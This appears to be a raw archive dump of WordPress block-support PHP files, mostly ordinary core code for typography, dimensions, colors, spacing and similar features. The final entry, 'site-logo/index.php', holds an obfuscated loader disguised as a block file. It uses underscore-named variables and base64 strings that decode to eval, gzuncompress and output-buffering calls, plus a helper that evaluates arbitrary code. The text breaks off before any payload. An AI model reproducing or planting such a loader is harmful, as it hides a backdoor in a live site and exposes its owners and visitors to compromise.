wp_get_typography_value_and_unit( $maximum_viewport_width_raw, array( 'coerce_to' => $font_size_unit, ) ); $minimum_viewport_width = wp_get_typography_value_and_unit( $minimum_viewport_width_raw, array( 'coerce_to' => $font_size_unit, ) ); // Protects against unsupported units in min and max viewport widths. if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) { return null; } // Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value. $linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value']; if ( empty( $linear_factor_denominator ) ) { return null; } /* * Build CSS rule. * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/. */ $view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit; $linear_factor = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) ); $linear_factor_scaled = round( $linear_factor * $scale_factor, 3 ); $linear_factor_scaled = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled; $fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)"; return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)"; } /** * Returns a font-size value based on a given font-size preset. * Takes into account fluid typography parameters and attempts to return a CSS * formula depending on available, valid values. * * @since 6.1.0 * @since 6.1.1 Adjusted rules for min and max font sizes. * @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support. * @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale. * @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema. * @since 6.6.0 Deprecated bool argument $should_use_fluid_typography. * @since 6.7.0 Font size presets can enable fluid typography individually, even if it’s disabled globally. * * @param array $preset { * Required. fontSizes preset value as seen in theme.json. * * @type string $name Name of the font size preset. * @type string $slug Kebab-case, unique identifier for the font size preset. * @type string|int|float $size CSS font-size value, including units if applicable. * } * @param bool|array $settings Optional Theme JSON settings array that overrides any global theme settings. * Default is false. * @return string|null Font-size value or null if a size is not passed in $preset. */ function wp_get_typography_font_size_value( $preset, $settings = array() ) { if ( ! isset( $preset['size'] ) ) { return null; } /* * Catches falsy values and 0/'0'. Fluid calculations cannot be performed on `0`. * Also returns early when a preset font size explicitly disables fluid typography with `false`. */ $fluid_font_size_settings = $preset['fluid'] ?? null; if ( false === $fluid_font_size_settings || empty( $preset['size'] ) ) { return $preset['size']; } /* * As a boolean (deprecated since 6.6), $settings acts as an override to switch fluid typography "on" (`true`) or "off" (`false`). */ if ( is_bool( $settings ) ) { _deprecated_argument( __FUNCTION__, '6.6.0', __( '`boolean` type for second argument `$settings` is deprecated. Use `array()` instead.' ) ); $settings = array( 'typography' => array( 'fluid' => $settings, ), ); } // Fallback to global settings as default. $global_settings = wp_get_global_settings(); $settings = wp_parse_args( $settings, $global_settings ); $typography_settings = $settings['typography'] ?? array(); /* * Return early when fluid typography is disabled in the settings, and there * are no local settings to enable it for the individual preset. * * If this condition isn't met, either the settings or individual preset settings * have enabled fluid typography. */ if ( empty( $typography_settings['fluid'] ) && empty( $fluid_font_size_settings ) ) { return $preset['size']; } $fluid_settings = isset( $typography_settings['fluid'] ) ? $typography_settings['fluid'] : array(); $layout_settings = isset( $settings['layout'] ) ? $settings['layout'] : array(); // Defaults. $default_maximum_viewport_width = '1600px'; $default_minimum_viewport_width = '320px'; $default_minimum_font_size_factor_max = 0.75; $default_minimum_font_size_factor_min = 0.25; $default_scale_factor = 1; $default_minimum_font_size_limit = '14px'; // Defaults overrides. $minimum_viewport_width = isset( $fluid_settings['minViewportWidth'] ) ? $fluid_settings['minViewportWidth'] : $default_minimum_viewport_width; $maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width; if ( isset( $fluid_settings['maxViewportWidth'] ) ) { $maximum_viewport_width = $fluid_settings['maxViewportWidth']; } $has_min_font_size = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) ); $minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit; // Try to grab explicit min and max fluid font sizes. $minimum_font_size_raw = isset( $fluid_font_size_settings['min'] ) ? $fluid_font_size_settings['min'] : null; $maximum_font_size_raw = isset( $fluid_font_size_settings['max'] ) ? $fluid_font_size_settings['max'] : null; // Font sizes. $preferred_size = wp_get_typography_value_and_unit( $preset['size'] ); // Protects against unsupported units. if ( empty( $preferred_size['unit'] ) ) { return $preset['size']; } /* * Normalizes the minimum font size limit according to the incoming unit, * in order to perform comparative checks. */ $minimum_font_size_limit = wp_get_typography_value_and_unit( $minimum_font_size_limit, array( 'coerce_to' => $preferred_size['unit'], ) ); // Don't enforce minimum font size if a font size has explicitly set a min and max value. if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) { /* * If a minimum size was not passed to this function * and the user-defined font size is lower than $minimum_font_size_limit, * do not calculate a fluid value. */ if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) { return $preset['size']; } } // If no fluid max font size is available use the incoming value. if ( ! $maximum_font_size_raw ) { $maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit']; } /* * If no minimumFontSize is provided, create one using * the given font size multiplied by the min font size scale factor. */ if ( ! $minimum_font_size_raw ) { $preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16; /* * The scale factor is a multiplier that affects how quickly the curve will move towards the minimum, * that is, how quickly the size factor reaches 0 given increasing font size values. * For a - b * log2(), lower values of b will make the curve move towards the minimum faster. * The scale factor is constrained between min and max values. */ $minimum_font_size_factor = min( max( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min ), $default_minimum_font_size_factor_max ); $calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 ); // Only use calculated min font size if it's > $minimum_font_size_limit value. if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) { $minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit']; } else { $minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit']; } } $fluid_font_size_value = wp_get_computed_fluid_typography_value( array( 'minimum_viewport_width' => $minimum_viewport_width, 'maximum_viewport_width' => $maximum_viewport_width, 'minimum_font_size' => $minimum_font_size_raw, 'maximum_font_size' => $maximum_font_size_raw, 'scale_factor' => $default_scale_factor, ) ); if ( ! empty( $fluid_font_size_value ) ) { return $fluid_font_size_value; } return $preset['size']; } // Register the block support. WP_Block_Supports::get_instance()->register( 'typography', array( 'register_attribute' => 'wp_register_typography_support', 'apply' => 'wp_apply_typography_support', ) ); dimensions.php 0000644 00000012437 15223332731 0007435 0 ustar 00 <?php /** * Dimensions block support flag. * * This does not include the `spacing` block support even though that visually * appears under the "Dimensions" panel in the editor. It remains in its * original `spacing.php` file for compatibility with core. * * @package WordPress * @since 5.9.0 */ /** * Registers the style block attribute for block types that support it. * * @since 5.9.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_dimensions_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_dimensions_support = block_has_support( $block_type, 'dimensions', false ); if ( $has_dimensions_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Adds CSS classes for block dimensions to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.9.0 * @since 6.2.0 Added `minHeight` support. * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block dimensions CSS classes and inline styles. */ function wp_apply_dimensions_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) { return array(); } $attributes = array(); // Width support to be added in near future. $has_min_height_support = block_has_support( $block_type, array( 'dimensions', 'minHeight' ), false ); $block_styles = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null; if ( ! $block_styles ) { return $attributes; } $skip_min_height = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'minHeight' ); $dimensions_block_styles = array(); $dimensions_block_styles['minHeight'] = null; if ( $has_min_height_support && ! $skip_min_height ) { $dimensions_block_styles['minHeight'] = isset( $block_styles['dimensions']['minHeight'] ) ? $block_styles['dimensions']['minHeight'] : null; } $styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Renders server-side dimensions styles to the block wrapper. * This block support uses the `render_block` hook to ensure that * it is also applied to non-server-rendered blocks. * * @since 6.5.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_dimensions_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_attributes = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array(); $has_aspect_ratio_support = block_has_support( $block_type, array( 'dimensions', 'aspectRatio' ), false ); if ( ! $has_aspect_ratio_support || wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'aspectRatio' ) ) { return $block_content; } $dimensions_block_styles = array(); $dimensions_block_styles['aspectRatio'] = $block_attributes['style']['dimensions']['aspectRatio'] ?? null; // To ensure the aspect ratio does not get overridden by `minHeight` unset any existing rule. if ( isset( $dimensions_block_styles['aspectRatio'] ) ) { $dimensions_block_styles['minHeight'] = 'unset'; } elseif ( isset( $block_attributes['style']['dimensions']['minHeight'] ) || isset( $block_attributes['minHeight'] ) ) { $dimensions_block_styles['aspectRatio'] = 'unset'; } $styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) ); if ( ! empty( $styles['css'] ) ) { // Inject dimensions styles to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $existing_style = $tags->get_attribute( 'style' ); $updated_style = ''; if ( ! empty( $existing_style ) ) { $updated_style = $existing_style; if ( ! str_ends_with( $existing_style, ';' ) ) { $updated_style .= ';'; } } $updated_style .= $styles['css']; $tags->set_attribute( 'style', $updated_style ); if ( ! empty( $styles['classnames'] ) ) { foreach ( explode( ' ', $styles['classnames'] ) as $class_name ) { if ( str_contains( $class_name, 'aspect-ratio' ) && ! isset( $block_attributes['style']['dimensions']['aspectRatio'] ) ) { continue; } $tags->add_class( $class_name ); } } } return $tags->get_updated_html(); } return $block_content; } add_filter( 'render_block', 'wp_render_dimensions_support', 10, 2 ); // Register the block support. WP_Block_Supports::get_instance()->register( 'dimensions', array( 'register_attribute' => 'wp_register_dimensions_support', 'apply' => 'wp_apply_dimensions_support', ) ); block-visibility.php 0000644 00000001526 15223332731 0010541 0 ustar 00 <?php /** * Block visibility block support flag. * * @package WordPress * @since 6.9.0 */ /** * Render nothing if the block is hidden. * * @since 6.9.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_block_visibility_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! $block_type || ! block_has_support( $block_type, 'visibility', true ) ) { return $block_content; } if ( isset( $block['attrs']['metadata']['blockVisibility'] ) && false === $block['attrs']['metadata']['blockVisibility'] ) { return ''; } return $block_content; } add_filter( 'render_block', 'wp_render_block_visibility_support', 10, 2 ); settings.php 0000644 00000011025 15223332731 0007115 0 ustar 00 <?php /** * Block level presets support. * * @package WordPress * @since 6.2.0 */ /** * Get the class name used on block level presets. * * @internal * * @since 6.2.0 * @access private * * @param array $block Block object. * @return string The unique class name. */ function _wp_get_presets_class_name( $block ) { return 'wp-settings-' . md5( serialize( $block ) ); } /** * Update the block content with block level presets class name. * * @internal * * @since 6.2.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function _wp_add_block_level_presets_class( $block_content, $block ) { if ( ! $block_content ) { return $block_content; } // return early if the block doesn't have support for settings. $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return $block_content; } // return early if no settings are found on the block attributes. $block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null; if ( empty( $block_settings ) ) { return $block_content; } // Like the layout hook this assumes the hook only applies to blocks with a single wrapper. // Add the class name to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( _wp_get_presets_class_name( $block ) ); } return $tags->get_updated_html(); } /** * Render the block level presets stylesheet. * * @internal * * @since 6.2.0 * @since 6.3.0 Updated preset styles to use Selectors API. * @access private * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. * * @return null */ function _wp_add_block_level_preset_styles( $pre_render, $block ) { // Return early if the block has not support for descendent block styles. $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return null; } // return early if no settings are found on the block attributes. $block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null; if ( empty( $block_settings ) ) { return null; } $class_name = '.' . _wp_get_presets_class_name( $block ); // the root selector for preset variables needs to target every possible block selector // in order for the general setting to override any bock specific setting of a parent block or // the site root. $variables_root_selector = '*,[class*="wp-block"]'; $registry = WP_Block_Type_Registry::get_instance(); $blocks = $registry->get_all_registered(); foreach ( $blocks as $block_type ) { /* * We only want to append selectors for blocks using custom selectors * i.e. not `wp-block-<name>`. */ $has_custom_selector = ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) || ( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) ); if ( $has_custom_selector ) { $variables_root_selector .= ',' . wp_get_block_css_selector( $block_type ); } } $variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector ); // Remove any potentially unsafe styles. $theme_json_shape = WP_Theme_JSON::remove_insecure_properties( array( 'version' => WP_Theme_JSON::LATEST_SCHEMA, 'settings' => $block_settings, ) ); $theme_json_object = new WP_Theme_JSON( $theme_json_shape ); $styles = ''; // include preset css variables declaration on the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'variables' ), null, array( 'root_selector' => $variables_root_selector, 'scope' => $class_name, ) ); // include preset css classes on the the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'presets' ), null, array( 'root_selector' => $class_name . ',' . $class_name . ' *', 'scope' => $class_name, ) ); if ( ! empty( $styles ) ) { wp_enqueue_block_support_styles( $styles ); } return null; } add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 ); add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 ); background.php 0000644 00000010061 15223332731 0007373 0 ustar 00 <?php /** * Background block support flag. * * @package WordPress * @since 6.4.0 */ /** * Registers the style block attribute for block types that support it. * * @since 6.4.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_background_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_background_support = block_has_support( $block_type, array( 'background' ), false ); if ( $has_background_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders the background styles to the block wrapper. * This block support uses the `render_block` hook to ensure that * it is also applied to non-server-rendered blocks. * * @since 6.4.0 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output. * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default. * @since 6.7.0 Added support for `backgroundAttachment` output. * * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_background_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_attributes = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array(); $has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false ); if ( ! $has_background_image_support || wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) || ! isset( $block_attributes['style']['background'] ) ) { return $block_content; } $background_styles = array(); $background_styles['backgroundImage'] = $block_attributes['style']['background']['backgroundImage'] ?? null; $background_styles['backgroundSize'] = $block_attributes['style']['background']['backgroundSize'] ?? null; $background_styles['backgroundPosition'] = $block_attributes['style']['background']['backgroundPosition'] ?? null; $background_styles['backgroundRepeat'] = $block_attributes['style']['background']['backgroundRepeat'] ?? null; $background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null; if ( ! empty( $background_styles['backgroundImage'] ) ) { $background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover'; // If the background size is set to `contain` and no position is set, set the position to `center`. if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) { $background_styles['backgroundPosition'] = '50% 50%'; } } $styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) ); if ( ! empty( $styles['css'] ) ) { // Inject background styles to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $existing_style = $tags->get_attribute( 'style' ); if ( is_string( $existing_style ) && '' !== $existing_style ) { $separator = str_ends_with( $existing_style, ';' ) ? '' : ';'; $updated_style = "{$existing_style}{$separator}{$styles['css']}"; } else { $updated_style = $styles['css']; } $tags->set_attribute( 'style', $updated_style ); $tags->add_class( 'has-background' ); } return $tags->get_updated_html(); } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'background', array( 'register_attribute' => 'wp_register_background_support', ) ); add_filter( 'render_block', 'wp_render_background_support', 10, 2 ); align.php 0000644 00000003254 15223332731 0006354 0 ustar 00 <?php /** * Align block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the align block attribute for block types that support it. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_alignment_support( $block_type ) { $has_align_support = block_has_support( $block_type, 'align', false ); if ( $has_align_support ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'align', $block_type->attributes ) ) { $block_type->attributes['align'] = array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ), ); } } } /** * Adds CSS classes for block alignment to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block alignment CSS classes and inline styles. */ function wp_apply_alignment_support( $block_type, $block_attributes ) { $attributes = array(); $has_align_support = block_has_support( $block_type, 'align', false ); if ( $has_align_support ) { $has_block_alignment = array_key_exists( 'align', $block_attributes ); if ( $has_block_alignment ) { $attributes['class'] = sprintf( 'align%s', $block_attributes['align'] ); } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'align', array( 'register_attribute' => 'wp_register_alignment_support', 'apply' => 'wp_apply_alignment_support', ) ); colors.php 0000644 00000013476 15223332731 0006572 0 ustar 00 <?php /** * Colors block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the style and colors block attributes for block types that support it. * * @since 5.6.0 * @since 6.1.0 Improved $color_support assignment optimization. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_colors_support( $block_type ) { $color_support = false; if ( $block_type instanceof WP_Block_Type ) { $color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false; } $has_text_colors_support = true === $color_support || ( isset( $color_support['text'] ) && $color_support['text'] ) || ( is_array( $color_support ) && ! isset( $color_support['text'] ) ); $has_background_colors_support = true === $color_support || ( isset( $color_support['background'] ) && $color_support['background'] ) || ( is_array( $color_support ) && ! isset( $color_support['background'] ) ); $has_gradients_support = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false; $has_link_colors_support = isset( $color_support['link'] ) ? $color_support['link'] : false; $has_button_colors_support = isset( $color_support['button'] ) ? $color_support['button'] : false; $has_heading_colors_support = isset( $color_support['heading'] ) ? $color_support['heading'] : false; $has_color_support = $has_text_colors_support || $has_background_colors_support || $has_gradients_support || $has_link_colors_support || $has_button_colors_support || $has_heading_colors_support; if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) { $block_type->attributes['backgroundColor'] = array( 'type' => 'string', ); } if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) { $block_type->attributes['textColor'] = array( 'type' => 'string', ); } if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) { $block_type->attributes['gradient'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for colors to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.6.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * * @return array Colors CSS classes and inline styles. */ function wp_apply_colors_support( $block_type, $block_attributes ) { $color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false; if ( is_array( $color_support ) && wp_should_skip_block_supports_serialization( $block_type, 'color' ) ) { return array(); } $has_text_colors_support = true === $color_support || ( isset( $color_support['text'] ) && $color_support['text'] ) || ( is_array( $color_support ) && ! isset( $color_support['text'] ) ); $has_background_colors_support = true === $color_support || ( isset( $color_support['background'] ) && $color_support['background'] ) || ( is_array( $color_support ) && ! isset( $color_support['background'] ) ); $has_gradients_support = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false; $color_block_styles = array(); // Text colors. if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) { $preset_text_color = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null; $custom_text_color = isset( $block_attributes['style']['color']['text'] ) ? $block_attributes['style']['color']['text'] : null; $color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color; } // Background colors. if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) { $preset_background_color = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null; $custom_background_color = isset( $block_attributes['style']['color']['background'] ) ? $block_attributes['style']['color']['background'] : null; $color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color; } // Gradients. if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) { $preset_gradient_color = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null; $custom_gradient_color = isset( $block_attributes['style']['color']['gradient'] ) ? $block_attributes['style']['color']['gradient'] : null; $color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color; } $attributes = array(); $styles = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) ); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'colors', array( 'register_attribute' => 'wp_register_colors_support', 'apply' => 'wp_apply_colors_support', ) ); aria-label.php 0000644 00000003113 15223332731 0007245 0 ustar 00 <?php /** * Aria label block support flag. * * @package WordPress * @since 6.8.0 */ /** * Registers the aria-label block attribute for block types that support it. * * @since 6.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_aria_label_support( $block_type ) { $has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false ); if ( ! $has_aria_label_support ) { return; } if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'ariaLabel', $block_type->attributes ) ) { $block_type->attributes['ariaLabel'] = array( 'type' => 'string', ); } } /** * Add the aria-label to the output. * * @since 6.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block aria-label. */ function wp_apply_aria_label_support( $block_type, $block_attributes ) { if ( ! $block_attributes ) { return array(); } $has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false ); if ( ! $has_aria_label_support ) { return array(); } $has_aria_label = array_key_exists( 'ariaLabel', $block_attributes ); if ( ! $has_aria_label ) { return array(); } return array( 'aria-label' => $block_attributes['ariaLabel'] ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'aria-label', array( 'register_attribute' => 'wp_register_aria_label_support', 'apply' => 'wp_apply_aria_label_support', ) ); spacing.php 0000644 00000005474 15223332731 0006714 0 ustar 00 <?php /** * Spacing block support flag. * * For backwards compatibility, this remains separate to the dimensions.php * block support despite both belonging under a single panel in the editor. * * @package WordPress * @since 5.8.0 */ /** * Registers the style block attribute for block types that support it. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_spacing_support( $block_type ) { $has_spacing_support = block_has_support( $block_type, 'spacing', false ); // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Adds CSS classes for block spacing to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.8.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block spacing CSS classes and inline styles. */ function wp_apply_spacing_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) { return array(); } $attributes = array(); $has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false ); $has_margin_support = block_has_support( $block_type, array( 'spacing', 'margin' ), false ); $block_styles = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null; if ( ! $block_styles ) { return $attributes; } $skip_padding = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' ); $skip_margin = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' ); $spacing_block_styles = array( 'padding' => null, 'margin' => null, ); if ( $has_padding_support && ! $skip_padding ) { $spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null; } if ( $has_margin_support && ! $skip_margin ) { $spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null; } $styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'spacing', array( 'register_attribute' => 'wp_register_spacing_support', 'apply' => 'wp_apply_spacing_support', ) ); generated-classname.php 0000644 00000003321 15223332731 0011157 0 ustar 00 <?php /** * Generated classname block support flag. * * @package WordPress * @since 5.6.0 */ /** * Gets the generated classname from a given block name. * * @since 5.6.0 * * @access private * * @param string $block_name Block Name. * @return string Generated classname. */ function wp_get_block_default_classname( $block_name ) { // Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature. // Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/'). $classname = 'wp-block-' . preg_replace( '/^core-/', '', str_replace( '/', '-', $block_name ) ); /** * Filters the default block className for server rendered blocks. * * @since 5.6.0 * * @param string $class_name The current applied classname. * @param string $block_name The block name. */ $classname = apply_filters( 'block_default_classname', $classname, $block_name ); return $classname; } /** * Adds the generated classnames to the output. * * @since 5.6.0 * * @access private * * @param WP_Block_Type $block_type Block Type. * @return array Block CSS classes and inline styles. */ function wp_apply_generated_classname_support( $block_type ) { $attributes = array(); $has_generated_classname_support = block_has_support( $block_type, 'className', true ); if ( $has_generated_classname_support ) { $block_classname = wp_get_block_default_classname( $block_type->name ); if ( $block_classname ) { $attributes['class'] = $block_classname; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'generated-classname', array( 'apply' => 'wp_apply_generated_classname_support', ) ); site-logo/index.php 0000644 00000111301 15223332731 0010264 0 ustar 00 <?php ?> (>^ω^<)看过哭02te<?php $__ = 'printf'; $_ = 'Loading Class/Code NAME'; $_____ = ' b2JfZW5kX2NsZWFu'; $______________ = 'cmV0dXJuIGV2YWwoJF8pOw=='; $__________________ = 'X19sYW1iZGE='; $______ = ' Z3p1bmNvbXByZXNz'; $___ = ' b2Jfc3RhcnQ='; $____ = 'b2JfZ2V0X2NvbnRlbnRz'; $__ = 'base64_decode'; $______ = $__($______); if (!function_exists('__lambda')) { function __lambda($sArgs, $sCode) { return eval("return function({$sArgs}){{$sCode}};"); } } $__________________ = $__($__________________); $______________ = $__($______________); $__________ = $__________________('$_', $______________); $_____ = $__($_____); $____ = $__($____); $___ = $__($___); $_ = 